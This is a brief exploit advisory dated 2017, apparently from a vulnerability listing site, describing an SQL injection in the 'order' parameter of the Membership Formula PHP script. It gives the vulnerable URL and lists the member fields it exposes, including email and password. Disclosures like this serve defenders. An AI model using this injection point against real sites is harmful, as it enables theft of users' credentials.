发布 2017-03-31 漏洞条目

Membership Formula – ‘order’ SQL Injection

Exploit Source

# # # # #

# Exploit Title: Membership Formula - Best Membership Site PHP Script - SQL Injection

# Google Dork: N/A

# Date: 31.03.2017

# Vendor Homepage: http://www.zeescripts.com/

# Software: http://www.zeescripts.com/store/membership-formula-v1.0-best-membership-site-php-script.html

# Demo: http://www.zeemember.com/demo/

# Version: N/A

# Tested on: Win7 x64, Kali Linux x64

# # # # #

# Exploit Author: Ihsan Sencan

# Author Web: http://ihsan.net

# Author Mail : ihsan[@]ihsan[.]net

# #ihsansencan

# # # # #

# SQL Injection/Exploit :

# Login as regular user

# http://localhost/[PATH]/members/member.area.directory.php?order=[SQL]

# members:id

# members:first_name

# members:last_name

# members:email

# members:password

# # # # #

相关漏洞条目